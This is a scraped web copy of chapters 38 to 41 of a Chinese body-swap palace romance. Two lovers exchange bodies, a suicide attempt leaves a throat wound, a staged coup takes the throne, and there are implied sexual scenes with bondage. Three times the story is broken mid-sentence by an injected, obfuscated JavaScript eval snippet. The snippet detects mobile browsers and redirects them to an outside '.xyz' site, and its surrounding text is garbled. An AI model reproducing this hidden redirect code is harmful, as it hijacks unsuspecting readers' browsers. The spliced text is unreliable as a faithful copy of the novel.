他竭力地回忆着现代与桐桐的生活,就像是在回忆上辈子的事。 秦笙鼻息间溢出一声苦闷的笑意:“我真是疯了,我原以为我会永远只对她一个人动情,这辈子也不会变。” “你赢了。”秦笙一字一顿,“我承认了。” 他的眼睛直直地看着季桐,连鬓角的发丝都在颤抖摇晃,轻微地喘气对他来说好像都是一种折磨。 爱与恨之间,不知道是哪一个占了上风,泪花控制不住地在他眼眶里打转。 秦笙手里的刀滑落在地上,发出清脆的兵戈声。 他终于做了决定。 “来做吧。” 季桐沉默了半刻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308280|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>其实季桐也不知道为什么自己如此想欺负秦笙,明明他已经受够了磋磨,如从前一样祈求着一丝真情真爱,可她偏偏不想给。 气他没认出自己?可自己本来就是故意在骗他。 气他不够信任?可自己本来也没给他承诺。 气他不够勇敢面对?可… 可他现在勇敢了。 不再是那个只期待像入室抢劫般爱情的人了。 沉默,然后季桐真的如他所愿,俯身贴近。 她决定,之后不再瞒他,这场游戏到此为止,告诉他真相,给予亲吻,而不是满身的刺与无限试探。 …… 她是一个很随遇而安的人,她从不排斥不同于以往的身体,既然都是她自己,她又为什么要抗拒本能。 但这件事对象只限于秦笙,无关性别。 “乖,很快就结束了。” “两个、时辰前,你嗯,也是这么说的…” 日月更替,直至红烛燃尽。 …… 直到天色将明,身边的人睡着,秦笙才揉着自己快要散架的身子坐了起来,颤颤巍巍地重新捡起了匕首。 没有人能看见这件事。系统在自我屏蔽中,季止邪在睡觉。 这人问的对,他确实贪心,他两个都爱,那就只能……以死谢罪。 他最后看了一眼床上的人,然后将匕首最锋利的刀刃横在了自己脖前,冰凉的触感,混着滚烫的热血,渐渐凉透了他整个身体。 —— 季桐在沉沦中几乎有几刻的时间好像灵魂颠倒一般,居然能看到自己这张季止邪的脸。 她确信一开始确实是眼里只有秦笙。 可最后一两次的时候,她时不时地感觉眼前的景色上下倒转。 日光从纸糊的明窗透入屋内。 她记得她后来好像睡着了。 好像又听到了匕首落地的声音。 季桐感觉自己的身体好像要散架了,脖子间好像还有一道刺痛,一动就疼得像是要裂开来。 她睁眼,偏头,看到了躺在一旁的“她自己”季止邪。 还好平常她自从穿书来就不爱照镜子,不然她会别扭死。 还有目光所及之处,很大一滩血,从地上的匕首蔓延至床边,蔓延至自己身上,蔓延至,好像是自己的脖子。 什么凶杀现场啊?! 季桐瞬间从睡梦的迷迷糊糊中清醒过来了。 她伸出双手,是一双纤纤玉手,穿着的秦笙昨夜的宫女衣裙,她跌跌撞撞地冲向梳妆台—— 真的是! 季桐转头双手去掐床边那坨棉花团子,心中狂喊:【你特么醒醒!!!】 456似乎刚睡醒:【来了来了!哎——怎么声音变了?】 009也在:【我靠!456,我知道为什么你绑错人了,这才是你原来该绑的那个宿主啊!】 009:【怪不得你消耗了双倍积分,你重捏了两个身体。】 456:【啊?!】 009:【现在应该是剧情点崩溃了,系统捏身体的功能自动重启修复了你的错误操作,于是……人换回来了。】 季桐:【啊?!】 剧情崩溃没崩溃她不知道,但她自己崩溃了:【我特么刚处理完登基的事啊!你神经啊!止血啊!我特么要死了!】 39. 第三十九章 这副身体体质很差,很弱,456说这是以秦笙原世界身体捏出来的女身。 季桐很无语。 流了那么多血,就更气血不足了,连小脸儿都是苍白的。 还好两个系统七嘴八舌地推荐了兑换的止血药和滋补药,还算有效。 季桐默默坐在床边,等待秦笙醒来。 她思考了很多。 她依然没有撤回自己的决定。 告诉他真相。 季桐摸了摸自己的脖子,新鲜的伤口,即使血止住了,也还是触目惊心的横长一道裂痕,带着周遭的炎红。 他自己下的手,该有多痛啊。 回想那句‘来做吧。’,怪不得他昨夜说这话的时候那么决绝,好像抛下了一切事物。 季桐:【等会他醒了会不会像我之前一样,能听到我们说话?】 456疯狂摇头:【不会的不会的!电流已经切断了,之前是因为我绑错了,宿主对不起QAQ】 季桐:【什么时候你能有实体?】 456娇羞地发了一个表情包:【宿主你人真好,还关心这个,等我抽成攒够一万积分就可以兑换系统实体了。】 季桐:【到时候记得告诉我。】 456:【宿主你要给我道喜吗?】 季桐:【我要打你。】 456:【QAQ】 009的声音从远处飘来:【绑错人还敢要道喜,你宿主听了半年电流声,不把你撕成棉花糖就不错了!赶紧走了!那边在叫你!】 秦笙醒了,没有如预想中回到现代,自己也没有被水泥车压成纸片,更没有下地狱,浑身上下没有了疼痛,从脖子蔓延开的冷意也消失了,只剩下了颅中一点点宿醉感。 他坐了起来,垂目看向旁边的人——是“他自己”。 他的视角变高了,对方正仰着脸看着他。 他以前照镜子时从未觉得自己那张脸如此明艳鲜活天不怕地不怕。 怪不得同一件衣服穿给两个不同的人会有截然不同的效果,气质才是人真正的底色。 即使对方的脖子上还残留着一道触目惊心的血疤痕,也丝毫不影响那种不可一世的感觉。 等等?!他伸手看着自己那双宽大的手掌,带着常年征战才会留下的死茧——他变回男人了。 而且,这也不是他自己的身体,是季止邪的?! 这屋里就他们两个人。 地上一片狼藉,血液已经凝固,几乎要变成黑色。 他再次望向坐在他旁边的人,试探问道:“季止邪?” 对方脸上带着一丝若有若无的笑意,“你觉得呢?” 秦笙沉下一口气,强迫自己冷下声音:“你说,你是不是没有做皇帝的命,费尽周折,皇位还没坐热几天,结果就为我做了嫁衣,做皇帝的到头来还是我。” 季桐最讨厌这种话,明知道秦笙只是还在气头上软绵绵放两句狠话而已,可季桐从小便是如此,没有当公主的命,没有含着金汤匙出生,没有进入一个好公司,争不到权,所以才会格外喜爱权力带来的快感。 “笑话,我能登帝一次,就能登帝二次。”季桐蹬了他一脚,“你最好祈求上天保佑,你这皇位真的能坐的稳。” 秦笙此刻再看向对方,居然看出了一丝熟悉感。 女身的季止邪…很像从前的季桐,并非说长相,而是一种感觉。 那种贴近带来的安全感和暖意更加明显了,他被踢了没有退开,反而不自觉地往旁边这人靠近了一些。 好熟悉。 空气中除了铁锈味还带着一种旖旎的味道,无时无刻不在诉说昨夜发生了什么。 昨夜…… 秦笙一时间竟有些没了气势。 “你是个傻子吧,这都认不出来。”季桐上前亲吻他的眼角,又用贝齿轻轻咬住修长的睫毛尾部,拽了拽,“是我啊,笨。” 随即话音落尽,周遭的分贝都消失在两人的亲吻中,连屋外的鸟鸣都消寂。 秦笙心脏跳得极快,已经感觉不是自己的了,大脑一片空白,如果刚刚只是沉浸在换了身体的震惊中,不敢说出那份熟悉感,现在就是单纯的思绪震动。 真的是她——没有人会这样亲吻他的睫毛。 怪不得昨夜在床上时的细节如此相似……他还以为是自己疯魔了,才会感官恍惚。 柔软的唇缓缓离开了。 眼前的人也退开了一点。 她的身子在微微后仰,秦笙还在等她的下一步动作,可下一秒季桐就因失血过多昏倒了下去。 !!! 秦笙吓了一跳,慌忙地去搂眼前的人。 再连忙去招太医。 很快,寝宫里人来来往往,忙得不可开交。 他不太会放狠话,只说必须救活她,可周遭那些宫人的眼神个个都在控诉他,仿佛他做了十恶不赦、逼良为娼的事一般。 他无措地只能攥自己衣角,恨不得能掩面逃走。 可他又担心季桐。 直到听到锡太医说暂无生命危险时,他才松了口气。 安乐佑昨夜宿在公主府,听闻此事飞奔而来,进了屋就狠狠剜了他一眼,再扑到床边守着,回头对他冷冷下了逐客令:“皇上见不得污秽之色,还请皇上去往旁边的凝神堂休息吧。” 安乐佑已经做好了努力争辩的准备,可下一秒皇帝就转身离开,只留下一句:“好好照顾她。” 安乐佑气不打一处来。 * 季桐再次醒来的时候,周围已经很安静,只剩下一个安乐佑伏在床边守着她。 夕阳的光照过来,显得安乐佑像个散发着母神光辉的小神仙。 感觉到动静的安乐佑立马抬起头,然后起身差点没站稳,她仓促地揉了揉自己的腿,“你醒啦,感觉怎么样?” 季桐撑了撑床板,安乐佑马上递了枕头将她扶好半坐起来。 “还好。” “这还好呢?!”安乐佑眉头都要皱得花钿扭曲了,脸色苦瓜得像是自己受罪,“他怎么能这样对你!” 安乐佑伸手想去摸摸对方苍白的小脸,又想起对方不喜欢被触碰,手僵在空中准备撤回。 季桐适时将脸前伸了一点,贴在了安乐佑的掌心蹭了蹭,嘴角勾起一个笑:“没事的。” 安乐佑陡然脸红,“哎呀,你就是好性子,他这样欺负你你都说没事。” 她将手撤离了一点,又认真地看了看脖子上的伤痕,“还疼不疼?” “不疼。” 是真不疼,系统给的药是很有效的,只是滋补药生效慢了点,所以之前才会因为失血晕倒。 季桐伸出双手,示意抱抱。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319360|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >安乐佑这样的娇软大美人,她之前就很想亲近了,可惜之前是男身,不太好意思,也容易让人误会。 两人贴贴,季桐将头枕在她的肩膀上,“别担心,我不会再自寻短见了。” “呜呜呜呜我好心疼,宝宝你痛不痛,吹吹。这个狗皇帝怎么这么过分!”安乐佑哽咽着,“明明说好会善待废帝的,居然强迫你……” 她心底能感觉出来现在的‘笙笙’特别亲近,之前感觉虽然人很好但是总是生人勿近的感觉,这次的事之后感觉像是回到了从前似的,差点让她以为是她的真闺闺回来了。 安乐佑轻轻抚了下季桐的背。 心说现在也不抗拒她的贴贴了,开心。 季桐也回拍了拍她,然后退开了些距离,将手覆在她的手背,“佑佑,你愿意帮我吗?” “我愿意!他算个什么东西!竟敢这样对你!你才是真正的皇室血脉!我愿意为了你冒险!”安乐佑一脸干劲上来了,气鼓鼓的样子像个小松鼠,喊完开战宣言,又小心地去揉她手腕上被麻绳绑出的红痕。 季桐笑了笑,“谢谢你。” “谢什么!”安乐佑瘪着嘴,“不要再老是推开我就好了,本来就少了一个好朋友,我不想再失去一个好朋友了。” “好。” * 晚间,季桐喝了一碗又一碗的药,服侍的宫人络绎不绝。 傅箐也来了,挥了挥手将端着药伺候的宫人斥了下去。 她开口便是一句:“你,你不会怨恨皇上吧?” 季桐没忍住,又笑了,今天看的乐子未免太多了。 “你笑什么啊?”傅箐被盯得发毛。 “你是不是去找皇上被赶出来了?”季桐挑眉,“是不是感觉像变了个人?” “啊。”傅箐愣着眨眨眼,“你怎么知道?” “笨蛋妹妹。”季桐笑得发颤,扯得伤口都痛了。 傅箐僵在原地,好半天才反应过来她说的是什么。 “你是说?!!你你你跟他互换了?!” “准确来说。”季桐调整了一下坐姿,“我终于能做回女人了。” “那你不是亏死了!”傅箐一屁股坐到床边,“姐姐!你才刚处理完登基的事儿啊!” “那有什么办法,天意咯。”季桐倒是看得开,“大不了再麻烦点,从自己手里拿回东西又不难,林明远的私事是我给解决的,什么是他的软肋我很清楚,季家的东西我就更清楚了,还有地方机密处的火药库钥匙那都是别人不知道的。” 傅箐沉了口气,“好吧好吧,需要我怎么帮忙?” 季桐笑着,“基本上不太需要帮忙,小事上帮衬一下就可以了。” “不需要帮忙?”傅箐眼珠转动,像是吃到瓜的前奏,“你和姐夫坦白了?不针锋相对了?” “嗯哼。”季桐哼唧了一声,“我们什么时候针锋相对了,我只是爱看戏而已。不过,就算他想跟我对着干也有的是办法收拾他。” “哇哦~”傅箐攥住季桐的手腕,“那坦白后他说什么了?” “疼,放开。” 傅箐一惊立马松开,看到季桐手腕的绳子状的红痕,“哇哦,玩的好花。” “……”季桐翻白眼。 “皇上驾到!——” 一声太监的高音通传,打断了两个人的聊天。 40. 第四十章 秦笙踏进这间屋子后,明显地呼吸一滞,随即又很快调整过来,冷冷道:“昭庆公主,出去。”随即又招了身后的人,“锡太医,再去把脉。” 好恨她,怎么能这样玩弄自己,好恨她,可是……再次见到的第一面,他只想吻上去。 她还在笑。 怎么能跟别人笑得那么开心。 “是。”傅箐低着头退出去了。 锡太医上前把脉,又仔细检查了伤口,“皇上,顺宁侯并无大碍了,伤口虽然骇人,但伤口深度较浅,未伤及根本,只是身体虚弱失血过多,再开了方子好好调理便是。” 幸好。 可秦笙记得明明他昨晚划得那一刀是立了必死的决心,怎么会伤口较浅,会不会误诊,会不会耽误伤情。 “可瞧真切了吗,确实无大碍?” “微臣敢用性命担保。” 秦笙松了一口气,摆手让太医退下。 “皇上可是想我了,可惜今天怕是不能侍寝了。”季桐坐在床边,懒洋洋地语出惊人。 秦笙一瞬间就耳尖绯红,一时间哑口无言。 后面的雀明疯狂使眼色让她行礼,免得再惹皇帝不高兴。 季桐朝她眨眼笑了笑。 秦笙顺着她的目光也回头,看见雀明还跟在身后,“你也下去。” “……是。”雀明不理解,但好像哪里不对,她默默退下带上了门。 季桐拍了拍床边,“坐。” “反客为主。” 秦笙没看她,却还是坐了下来。 “被雀明使眼色的感觉如何?” 季桐这辈子最讨厌上下尊卑不能掌握在自己手里的感觉,讨厌仰仗别人鼻息过活。 虽然在这里她一直享受权力,但只是因为不想去打破这书里人们熟悉的生活方式社会构架,贸然打破人们只会觉得她疯了,这不是一件小事,她没有那个能力。 所以享受权力并不代表她就认可古代的封建尊卑,她之前在战场上厮杀拼搏血汗那么久,恰恰就是因为没有忘记回家的路。 她努力那么久,那个项目马上就要做完了,马上就要升职了,她才不想放弃。 不管是在古代还是在现代,她努力都配得上她所得。 “没关系。”季桐揉了揉因躺太久而有些发僵的小腿,“她爱使眼色说明眼神好。” “你……”秦笙想问,可他问不出口,甚至不敢正眼看她。 季桐给了他足够的喘息时间,直到空气凝固了五分钟后,秦笙才开了口。 “你为什么要骗我。” 他的语气平淡,仿佛不是一个疑问,而是一句心死的陈述控诉。 “好玩。”季桐也淡淡地吐出一句。 “你。” 秦笙的眉头紧锁,终于转了身,看向她,然后目光就不自觉地移到了脖子处那道狰狞的伤口上,上面敷了一些赤乌色的膏药,显得伤口更可怖了,“还疼吗。” “疼。”季桐上手摸了摸自己的脖子,忽地被秦笙一把攥住。 “别摸。”秦笙又快速放了手,“容易感染。” “那怪谁,你这破身子,连脖子上绷带都缠不得,一缠就头晕眼花想吐的。”季桐吐槽完又叹了口气,问:“为什么要自尽?” 秦笙不语。 “难道我技术不好吗?”季桐往前坐了点,“还是……觉得爱上男人是什么有违天理的事?” “不是。”秦笙低了头。 可就算秦笙低着头也还是很高,季桐仰着头,刚好能对上他低垂的眸子,“不是什么?技术还是?” 秦笙偏过头。 季桐终于想明白了一点。 “你觉得我不爱你。” 从前也是这样,同样的表情,在她拒绝他的求婚之后。 “可是我明明告诉你了,我喜欢你。” “那不是爱,不过是对小猫小狗一样的喜欢罢了。”秦笙终于被撕开了一点口子,“如果你爱我,你就不会舍得骗我这么久,如果你爱我,你就不会……给我避子汤。” 他的目光忽然堂堂正正地看向她。 季桐表情变幻,一阵青一阵白,然后不可思议道:“你想生孩子?” “你知不知道古代生孩子多危险?!” “你知不知道怀孩子多难受?!” “还有,我不是故意骗你的。” “那是什么,不是故意,是有意的?”秦笙咬着牙,“你是什么时候知道是我的?又骗了我多久?” “见你第一面。”季桐撒了个小谎,其实是第二面听到系统对话后才确认。 “我第一眼就认出了你,你却认不出我,是不是活该被骗。” 这回轮到秦笙沉默了,他气息不稳,几次想开口,却又被一股酸涩硬生生堵在喉头。 季桐再次拉近了两个人的距离,唇都快要贴到他的耳尖上,“还生气呢?” “你明知道……” “好了好了,都说了,不是存心的。” “你这还不是存心的吗,从始至终你都知道是我,你怎么忍心骗我这么久…” “怎么样才能消气?亲亲你可以吗?”季桐捧着他的脸将他的头拉下来,狂亲十下,“不够吗?” “够了。”秦笙愤懑,却又软下了语气,“一次就够了…” 他在季桐的吻刚落下的一瞬间,心就已经只剩柔软了。 季桐收了手,退开了些,见他脸色好多了,又调戏道:“如果皇上听不懂道理,那本侯也稍微懂一些军火。” “我前些日子研制的火药已经在实验阶段了,皇上,你说这些火药该轰敌国还是轰你?嗯?” “你闭嘴吧。”秦笙的话带着些微的哑意,“就不能消停两天。” 他侧身轻轻抱了抱她,“好好休息吧。” 他拿她没办法,原以为多么深的恨,恨到想要自尽来结束这一切,原以为自尽也无法结束这场噩梦,还要以这副新身体继续纠缠,谁知系统消失无踪,谁知,在知晓一切后居然恨意就戛然而止,在她吻上来后他还是愿意沉沦。 他自嘲地笑了笑,也怪他自己,竟然认不出季桐,合该他受罪。 不过,他还是想问问,“为什么一直想要当皇帝?” 季桐撑着脑袋,略作思考,“因为想当,因为爱财,因为爱权。” “你告诉我,我可以……” 季桐伸手用食指挡住了他要说的话,“我喜欢自己拿。” “哎!”季桐小心地撑了个懒腰,“抱歉啊,我就是这么坏。” 秦笙盯着她的伤口,生怕她撑懒腰撕扯到伤口,连忙伸手将这人高举的手臂拉了下来。 “爱财爱权从来都不是贬义词。” 季桐就是一个很好的人,她勇敢正义,处事公正,做事利落,从前再喜欢他的模样也没有直接开口包养,看了一年的人体模特也不敢上手摸一下腹肌,直到他表白为止。 所以她还有是个分寸的人。 她爱她的家人,会回报同样爱她的父母,还是个懂得感恩的人。 这样的人…爱权甚至可以是优点。 秦笙弯下腰,眸子深邃又眷恋地盯着她的唇,“可以吗?” “随意。” 秦笙将唇瓣轻轻贴在她的唇角,然后辗转到唇缝正中央,如蜻蜓点水般,贪婪地呼吸了她一点温热的鼻息。 季桐的脸上感到了一点点湿意,面前的人就撤开了。 他哭了。 他咬着自己下唇,喉咙传来的酸楚根本无法压抑,哽咽着:“对不起,我是个懦夫,我从小放弃的事情太多,不敢奢求什么,可是我想要你,你是我人生中唯一的例外,我不会放弃。” 季桐很少正视自己的感情,她没怎么谈过恋爱,周围的人都嫌她太独立专断,不肯放低一点点身段,也鲜少与人道歉。 她决定说实话。 “对不起,我实在是很难爱上一个人,我承认我一开始确实是见色起意,可你走到我心里了,后来我是去点过模子哥,可我只是瞧了一眼,他们都不如你。” “……” 秦笙脸色暗了几分,又坚强道:“我会好好保养自己的。” 季桐“噗嗤”一声笑出来,“不是。就算你毁容了,他们也都不如你。” “当真?” “当真!”季桐捶了一下他的胸膛,然后被疼得弹了回来。 可恶,她一开始穿过来说什么来着?能跟自己谈就好了? 这特么的自己加强锻炼出来的一身钢筋铁骨,锤上去自己都手疼。 季桐无语,决定养好现在这个破身子再练一练肌肉,可惜底子太差,估计是没什么成效。 她叹了口气,那也还是得练,总不能像现在一样一步三喘气,批折子都得累出病来。 什么人啊,秦笙!自己的身体都照顾不好! “好好锻炼!”她甩下一句。 “会的。”秦笙不明所以。 “滚出去吧,我要睡觉了。”季桐打了个哈欠,“累死了,一醒就接二连三地来人探视,说话都说累了。” “好。”秦笙扶着她躺好,又掖了掖被子,“好好休息,晚安,对不起。” “你在对不起什么?”季桐侧目。 “伤……” “你有病吧,你砍自己脖子然后跟我说对不起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328008|180149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “……” 秦笙仓惶地离开了。 * 接下来的几天,季桐狠狠地威胁了456,如果不能缩短时间就去绑架男女主。 456吓得没魂儿了,赶紧去上报了主系统。 等456再次回来之后,告诉季桐可以缩短时间,只要大邑江山步入正轨,也就是说如果“季大将军”登帝是不符合正轨的,如果按这个剧情走也不是不行,但主系统为了不发生变故,那就必须呆满十年。 必须是原来这个女扮男装的皇帝在位,并且下一任太子也名正言顺,那就可以缩短时间,太子登基,她就可以提前回家。 季桐眼睛一转,这不很简单吗? 她披了毛氅,坐到桌案边,写了一封季大将军笔迹的信,唤来信鸽。 然后按时按量地喝了药,还特意找锡太医要了两副治理痛经的药方配合着喝。 她非要把这个身体调养好不可,回去之前她都得靠着这个破弱身体过活了,不说别的,这么弱连上床都难。 望着窗外被风吹得偏倒的有些发黄的灌木。 真是冬天来了,身上老觉得凉,季桐又将毛氅裹了裹。 休息了一下,又提笔以原身的笔迹写了几封给保皇党的信。 “咳咳。” 秦笙不知道什么时候站到了她背后。 “写什么呢?” “写怎么搞死你。”季桐随意道。 “不用写。”秦笙靠近她的椅背,轻轻握住她的手腕,“随时都可以搞死我。” 季桐笑着回头望他,“哟,说的这么涩,是不是想上床?” 秦笙不经逗,绯红立马就爬了满脸,“没有这回事,不要乱想。” “我身体还没养好,再过段时间吧。”季桐伸手挠了挠他腰间的痒痒肉,“且再等等。” “都说了不是那个意思。”秦笙有些气急败坏了。 “好好好,不是那个意思。”季桐将人哄着,“要看看我写的什么吗?” “不看。” “好吧,那你到时候可别哭。” “不会。” 他已经明白了季桐的心意,这两天也全知道了季桐与傅箐的事,两人心意相通,不再有隐瞒,他不屑于看这些。 他相信季桐。 * 半个月后。 初雪来临,京城的屋顶都挂上了一层雪白的花。 通过林明远收拢兵权,通过安乐佑收复保皇党的心,再让傅箐打点季家的口风,绥石机密处的火药也进入了实战阶段,一切都稳步进展中。 其实火药是用不上的,但这是一个威慑季家的手段。 那句话说得很好,一切的恐惧都是因为火力不足。 权力也是同样的道理。 如今虽然她这位顺宁侯表面上还是禁锢于宫中,实际上却已经大权渐移了过来。 傅箐提着裙摆小跑进了勤政阁寝宫,喊道:“姐姐姐姐。” “怎么?” “好消息!”傅箐笑得跟花儿一样,“前几日不是安丞相提议了私访民情嘛,两位哥哥还在纠结,昨儿我把两位哥哥都劝去了,海清哥去了交州,鸿源哥去了益州,今天就在路上了。” “车骑将军呢?”季桐问。 “也打发出去了,最近有个小临国不太安分,正好的事儿。” “季岚言呢?”季桐最担心的就是这个舅舅,新任大将军,季家又是个个文武双全骁勇善战,她不想正面起冲突,“确定躺着了吗?” “确定!”傅箐笑着,“老太太亲自端的泻药,足足三倍量,起码得拉两天下不来床。” 季桐摇了摇头双手合十,哎,对不起啊舅舅。 然后季桐又看向傅箐,“去跟安乐佑知会一声,今天晚上就行动。” “好!”傅箐开心地握拳,然后又飞奔出去。 季桐再次双手合十,哎,对不起啊笙笙。 除了季家,其他不是保皇党的各大家族,季桐都收集了各式各样的小辫子,令他们这些日子奏折上都不敢多言。 安丞相那边更是更换了皇宫的禁卫,管辖白甲兵的中郎将也已经是安氏的人了。 这场突变,意在快准狠。 说骇人也骇人,说不骇人其实只是演一场戏罢了。 只是,这场戏没有告诉戏中主角之一。 不过,谁让他自己说的“不看”。 夜幕降临,月色渐升,寒风夹雪。 剧本按照她的设想,白甲兵围至勤政前殿。 季桐披着长到拖地墨狐毛氅,身后跟着大批的宫人,立于勤政前殿,等待着秦笙走出来。 41. 第四十一章 季桐穿过重重叠叠的人影,望着勤政阁前殿阶梯最高处站着的秦笙。 心里想的是,还好篡位的时候没改国号,不然麻烦死了。 他脸上的情绪因为天色太暗而看不太清,离得也太远,季桐无从知晓他的心情,但还算看得清他的动作。 似乎惊诧,似有交涉,但最终无果,季桐安排好的人都不会说什么。 然后是兵戈之声,铿锵有力、震人心脾。 秦笙出殿时没有带任何兵器,想要后退却发现殿门已经被锁死,退无可退。 只能硬着头皮迎战。 看得出来,秦笙这段时间确实是有好好在适应新身体,即使没有兵器也跟这群白甲兵战得毫不逊色。 秦笙中途夺了白甲兵一柄长刀,打斗起来更加得心应手,可却因为这批白甲兵是安氏保皇党提拔上来的,他不敢下死手,围攻的人根本是无穷无尽的,以一人之力根本无法抗衡。 即使是季桐自己来在束手束脚的情况下也打不过这么多人。 月色越升越高。 打斗声也渐渐小了,秦笙最终被围得精疲力竭,身上也挂了些彩。 四周安静下来,季桐的鼓掌声从重重叠叠的包围后响起。 她从一众白甲兵让开的小路中走出来,手里抱着王德海递过来暖手的汤婆子,居高临下地看着撑刀半跪在地上的秦笙,“皇上,请吧——” 秦笙只虚着眼睛抬头看了她一眼,然后直挺挺地倒下了。 …… 不是?! 她台词还没念完呢?! 也没叫他们下死手啊?! 季桐转头瞪向一旁的白甲兵队长。 “不关我的事啊!我没打他!”白甲兵队长连忙跪地。 季桐:【456!他没事吧?!】 456:【我不造啊宿主QAQ,看起来伤的不严重啊,就一些淤青外加两道腿上的刀伤,也不深啊,也不长啊。】 季桐看着他脸颊处有一道很短小的血迹:【脸上这道呢?】 456:【宿主,这种伤再不处理就要愈合了……】 季桐愣了好一会儿。 所以这人是打累了,看见她来,然后终于安心地倒下了? 旁边的白甲兵队长试探着问道:“顺宁侯,啊不是,皇上您看,这该…如何处置?” 季桐转过身,生无可恋道:“押入天牢。” “记得给他包扎!” * 秦笙醒来时闻到了一股潮湿的青苔味。 缓缓睁眼后才意识到自己已经在天牢里了。 他坐起来摸了摸床板,虽然很硬只铺了一层薄薄的床布,但干净整洁。 周围很安静,按理说天牢不会这么安静,一个其他的犯人都没有。 腿上的伤已经被仔细包扎过了。脸上似乎也涂了膏药,润润的,早已经不出血了。 然后他又躺下了。 …… 季桐来的时候看见的便是他睡得正香的样子。 本来还想着是不是伤的太重了,或许还在昏迷着,结果下一秒就看见天牢里的他翻了个身。 季桐气急败坏地跺了跺脚。 “钥匙给我,这里守卫的人都散出去。”季桐伸手拿过狱卒长的钥匙。 “不可,此谋反逆贼武艺高强,恐伤及您!”狱卒长还在苦苦劝诫,“皇上好不容易才重夺大权,若是皇上非要探视请允许奴才穿这反贼的琵琶骨——” “让你滚你就滚。” 季桐翻了个白眼。 穿琵琶骨,这也想得出来,骇死人了。 这搁现代得成法制咖。 不得不说,这原身其实有一副好牌,虽然朝堂上季家独大,但有一群忠君护主的好臣子,个个都有一颗拥簇她重新及帝的心。 当初众臣刚知晓皇帝是女身这件事时,或许有被愚弄的愤恨,可先皇并无儿子,只有女儿,这又何尝不是一种天意。 皇家终究是血脉更为重要。 再说了这女身皇帝在位期间并无大错,甚至体恤民情,凡事亲力亲为,大邑也在她在位期间国力强盛,若将天象怪罪又何尝不是欲加之罪何患无辞。 当然,最重要的还是军火和各家族的小辫子,才能推动他们肯走这一步棋。 大家都是聪明人,这勤政殿反水一事一出,即使她还没有真正登基,大家也该知道喊她什么了。 狱卒长还是不愿走,季桐招了招手,“你们把他架出来,绑在那行刑架上,然后就出去吧。” “皇上圣明。” 如此便再无不妥。 秦笙被冷水泼醒,又莫名其妙被架出来,本来他还想挣扎一下,但他一出牢门就看见了季桐。 又乖顺地不动了。 任由别人把他结结实实捆在行刑架上。 众人退散出去,只留下季桐和秦笙二人。 季桐坐在软垫木椅里,悠闲地喝了口茶,扬了扬下巴,示意他看左边桌案上的刑具,拿出一副恶毒反派的笑容来,“知道这是什么吗?” 秦笙眼神清澈,老实回答:“是琵琶钩。” 季桐皱眉:“你就一点都不担心我穿你琵琶骨吗?” “……穿吧。” “你神经病啊!” 季桐吼完,见秦笙低着头忽然闷笑出声,肩头几乎不可察地颤着,似乎很难压住笑意。 她这才鼻子出气,知道这人是在逗她玩儿。 秦笙的额发被冷水打湿贴在额角,一身囚衣,腿间裹着渗血的白布,在季桐看来却更为性感了。 季桐心里的气消了大半,难得委屈了一下:“你都不看我的剧本。” “不用看。”他摇了摇头。 季桐心说,这人简直如同一只玩偶,不论怎么横搓竖揉都不会有任何不满,可就是已经看够了他这幅样子,才会一次又一次地想刺激他。 “你被我戏弄成这样,你都不生气?” “生气…可是,没关系。”秦笙抿了抿唇,“你高兴我就高兴。” “是吗?” 季桐狐疑。 “嗯。”秦笙再次点头。 季桐起身上前,将他的衣领剥开了一些,拿着琵琶钩轻轻刮在他的胸膛上。 冰凉的触感,刺麻的感觉一下下刺激着秦笙,却没有造成任何伤害,秦笙又不争气地脸红了个透彻。 “那这样,你也甘之如饴?”季桐加重了手里的力道。 秦笙说不出话。 说实话,季桐刚穿书来时除了一开始对这副身体欣赏了下,后来就只是觉得自己体格格外高大,身强力健,打仗好使,就也没什么特别的地方。 现在看来,果然是在秦笙身上体现的更令人满意,这厚实的胸肌,一看就很好埋。 季桐扔了手里的刑具,将脸轻轻贴了上去,胸膛上的水渍还没干透,但一点也不凉,反而很烫。 然后她就感受到某人身前某个位置好像支棱起来了。 石更了? 还真是。 季桐笑眯眯地撤开。 秦笙目光眷恋地锁着她。 “来人。”季桐转身离去,“把季止邪给朕捆回勤政阁寝宫。” * 当夜,秦笙再次被捆在寝宫床上。 季桐端来一碗汤药,递到了秦笙跟前。 秦笙看着那熟悉的乌漆嘛黑的液体,皱眉,“怎么还是我喝?” “哦,锡太医医术高明,又研制出了男人能喝的避子汤。” 嘻嘻。 季桐拽着他的头发,迫使他仰头,“来,乖乖喝避子汤。” 汤药一点点灌入喉中,偏偏秦笙又被捆扎得很紧根本动弹不了一点,一时间喉头发痒,咳了几声。 汤药呛出来了些。 “别——”秦笙终于得了说话的空隙,“我自己喝。” 